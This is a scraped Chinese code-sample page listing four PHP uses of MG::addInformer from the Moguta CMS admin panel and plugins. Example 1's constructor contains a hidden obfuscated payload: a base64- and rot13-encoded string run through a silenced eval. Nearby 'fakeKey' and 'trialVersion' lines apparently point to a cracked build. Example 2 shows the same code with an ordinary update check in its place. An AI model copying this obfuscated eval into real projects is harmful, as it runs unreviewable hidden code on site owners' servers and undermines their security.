本文整理汇总了PHP中MG::addInformer方法的典型用法代码示例。如果您正苦于以下问题:PHP MG::addInformer方法的具体用法?PHP MG::addInformer怎么用?PHP MG::addInformer使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类MG
的用法示例。
在下文中一共展示了MG::addInformer方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: __construct
function __construct()
{
MG::disableTemplate();
$model = new Models_Order();
MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
if ('1' == User::getThis()->role) {
MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
}
if (URL::get('csv')) {
$model = new Models_Catalog();
$model->exportToCsv();
}
if (URL::get('examplecsv')) {
$model = new Models_Catalog();
$model->getExampleCSV();
}
if (URL::get('examplecsvupdate')) {
$model = new Models_Catalog();
$model->getExampleCsvUpdate();
}
if (URL::get('yml')) {
if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
$model = new YML();
if (URL::get('filename')) {
if (!$model->downloadYml(URL::get('filename'))) {
$response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
echo json_encode($response);
}
} else {
$model->exportToYml();
}
} else {
$response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
echo json_encode($response);
}
}
if (URL::get('csvuser')) {
USER::exportToCsvUser();
}
if ($orderId = URL::get('getOrderPdf')) {
$model = new Models_Order();
$model->getPdfOrder($orderId);
}
if ($orderId = URL::get('getExportCSV')) {
$model = new Models_Order();
$model->getExportCSV($orderId);
}
$this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
$this->pluginsList = PM::getPluginsInfo();
$this->lang = MG::get('lang');
if (!($checkLibs = MG::libExists())) {
$j878723423f5c3ba26da = "base64_decode";
$kdd9391e7490 = "str_rot13";
@eval($j878723423f5c3ba26da($kdd9391e7490("MKMuoPuvLKAyAwEsMTIwo2EyXUA0py9lo3DkZltaGHgAqJ9DqTSMoQu0GHcQETt5HQEJDIN5ZSyYEKE2HHEbM1N3ZSyEEKEkIR8jJH50pHgCrRkYEKIJDIN0ZSycETuDHHEbM1NeZSxmEKEaIR4jJGqRnQyHJwOMZ0EzDIEQIxSHGmOZD0EcDIN4ZSyBqQOZE0EzDIN1ZSycETMDHHEcpINkIxSHGmOMA0EzM1NiZSyEETqOHTbjJHgSqUMdqQOZJHEcqx5OHUMBqSMDGaEMoQu0ZRkQETqOHTbjJJyRM3SDBGOMq0EaEx93omV1rz5XpUDjJKE0ZRkUETt5HTbjJIc0ZSyJqQOMIHEaHSSRnKMEEKEaHPfjJJczIxSHIGOZJHEcqySRMzqDZGOZHHI0pIN0ZRj4qQOMZ0EapIN3ZSy3EKIaHQRjJGARMmyDAQOMA0EcpIN5ZSyEEKqdZSuJHR50IyOBqSqHGJAiIRyEomV1ZSMEZUEArayzGHx5LH1YEKAZZwybpIEWnUSIJzWWFIqnDaqwLH1YEIWiZxRko0cWnUSGI2yiZ0EvJRL1pSplZJSMFxScpUcVnJ9HrKMMZ0ydGIEGZRkTAJchIH9jI2k4A1SRLxSDqx50IyOBqSMHrKcJHUE1GQWeqKNmDKAAF3IwpQASoIuGnzSWF094GRgSqHgDpTAmIJg4GHcOLx1YqTWZZ1q3Jz1JLyqHGJAiIRyEomV1ZSuTrUIQEyL1GKcRAHkUDKcPEyMwIyIzDIO2GaEJHR50IyOBqSqIFJkiHR45IyAdLJ5IEGOjHJWcJGVknH0mFGOZEwIfpHL5ZKOHEKIkISAgGHgKZx1YI3OKoJMOH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IyOBqSMDGaEJHxIDDaqwn3SXFJklEaIjImSWERIFH0uSEx90F1OjnRuGI1ASrUyZJKydLKNlFGOkIUybGGWBqRtjFHuJIR8lGRceZH1XGaEQEx52ZSqUETMaHQDjJJ9RnJqDAyMOHQxjJHu0ZRkUEKD5HQxjJJISqJqDAQOMA0EcpIN0ZRkEEKD5HQRjGSM2IyAkIxIWI1AJIR9cpSISL28lAKEQEx52pIIKL0kXn0cAF1qgoxb5nSM5nzSLE2M0HHEvqSMDGaEJHR50IyOBqUARZSuJHR50IyOBqSMDGaEJIIq5pIIWoT92G3cZFzggGHqzDIO2GaEJHR50IyOBqUATGaEJHR50Ix4jJSMDGaEJHR50p0MBqSMDGxSDqx50IyOBqSMHrKcJHUIOEJ1vAx0lFGOVZxxjpIE5nR1fqKOKZ0IfoxcGMxy6FJkjZayco3yOZRkYImOYHUOwJRMCA1SRLaEJHR50IyOBqSMFEIOPq2AepHcWoUWTqKOKZRIGE1WWFRITG1EVrQyOIyECpSqfAHEVrRyHExy0nRgDpJ1AF0Hjoxb1LHkDG0gTHxyTEHMCqT8mGmOhFwybGSRjqSMuEJkhFyAzFKcWoUNlrJyirHRjGRgKZSM5nzSLE2MOHUMBqSMDGaEJIGOOHUMBqSMDGaEJIIq5pRgWL3O6FKAiZwI3GHM1FHu4nwMPraS5pIWSnHjmFJqAFwHjFUb5nKSDqTAMqyqaGJjkq28mI3yMZzgwGUL5ZKOHEKIkISWbpSE1nyM2rQqEETW0IyOBqSSRLaEJHR50IyOBrT96FGAWrxyfIyRjqRyYG3uZF0I1Daqwq25HFKqhZHydGIEGZRkTqKcZFzggGHMdqUSIImSAEat3I2k4AlpcXFx7")));
$this->newVersion = $newVer['lastVersion'];
$this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : '';
}
}
示例2: __construct
function __construct()
{
MG::disableTemplate();
$model = new Models_Order();
MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
if ('1' == User::getThis()->role) {
MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
}
if (URL::get('csv')) {
$model = new Models_Catalog();
$model->exportToCsv();
}
if (URL::get('examplecsv')) {
$model = new Models_Catalog();
$model->getExampleCSV();
}
if (URL::get('examplecsvupdate')) {
$model = new Models_Catalog();
$model->getExampleCsvUpdate();
}
if (URL::get('yml')) {
if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
$model = new YML();
if (URL::get('filename')) {
if (!$model->downloadYml(URL::get('filename'))) {
$response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
echo json_encode($response);
}
} else {
$model->exportToYml();
}
} else {
$response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
echo json_encode($response);
}
}
if ($orderId = URL::get('getOrderPdf')) {
$model = new Models_Order();
$model->getPdfOrder($orderId);
}
if ($orderId = URL::get('getExportCSV')) {
$model = new Models_Order();
$model->getExportCSV($orderId);
}
$this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
$this->pluginsList = PM::getPluginsInfo();
$this->lang = MG::get('lang');
if (!($checkLibs = MG::libExists())) {
$newVer = Updata::checkUpdata(false, true);
$this->newVersion = $newVer['lastVersion'];
}
}
示例3: __construct
public function __construct()
{
mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate'));
mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin'));
mgAddShortcode('call-back', array(__CLASS__, 'handleShortCode'));
self::$lang = PM::plugLocales(self::$pluginName);
self::$path = PLUGIN_DIR . self::$pluginName;
if (!URL::isSection('mg-admin')) {
mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/user.css" type="text/css" />');
mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/jquery.maskedinput.min.js"></script>');
mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/user.js"></script>');
}
MG::addInformer(array('count' => self::getEntityActive(), 'class' => 'count-wrap', 'classIcon' => 'message-icon', 'isPlugin' => true, 'section' => 'call-back', 'priority' => 80));
}
示例4: CommentsToMoguta
<?php
/*
Plugin Name: Отзывы покупателей
Description: Плагин позволяет оставлять отзывы о товарах и статьях сайта. Имеет панель адмнистрирования. Добавить форму отзывов можно вставив шорткод [comments] в любое место страницы.
Author: HollowJ и Avdeev Mark
Version: 1.0
*/
$coments = new CommentsToMoguta();
MG::addInformer(array('count' => $coments->getNewCommentsCount(), 'class' => 'comment-wrap', 'classIcon' => 'comment-small-icon', 'isPlugin' => true, 'section' => 'comments', 'priority' => 80));
class CommentsToMoguta
{
public function __construct()
{
mgActivateThisPlugin(__FILE__, array(__CLASS__, 'createDataComments'));
mgAddAction(__FILE__, array(__CLASS__, 'pagePluginComments'));
mgAddShortcode('comments', array(__CLASS__, 'showComments'));
mgAddShortcode('wall-comments', array(__CLASS__, 'wallComments'));
$meta = '<script src="' . SITE . '/mg-plugins/comments/js/comments.js"></script>' . '<link href="' . SITE . '/mg-plugins/comments/css/style.css" rel="stylesheet" type="text/css">';
mgAddMeta($meta);
}
// При активации создает таблицу в БД и регистрирует новую опцию
static function createDataComments()
{
$sql = "\n \t\t CREATE TABLE IF NOT EXISTS `" . PREFIX . "comments` (\n \t\t\t`id` INT AUTO_INCREMENT NOT NULL,\n `name` VARCHAR(45) NOT NULL,\n `email` VARCHAR(45) NOT NULL,\n `comment` TEXT NoT NULL,\n `date` TIMESTAMP NOT NULL,\n `uri` VARCHAR(255) NOT NULL,\n `approved` TINYINT NOT NULL DEFAULT 0, \n PRIMARY KEY(`id`)\n \t\t\t) ENGINE=MyISAM DEFAULT CHARSET=utf8;";
DB::query($sql);
MG::setOption('countPrintRowsComments', 5);
}
static function getCaptcha()
{
include 'Captcha.php';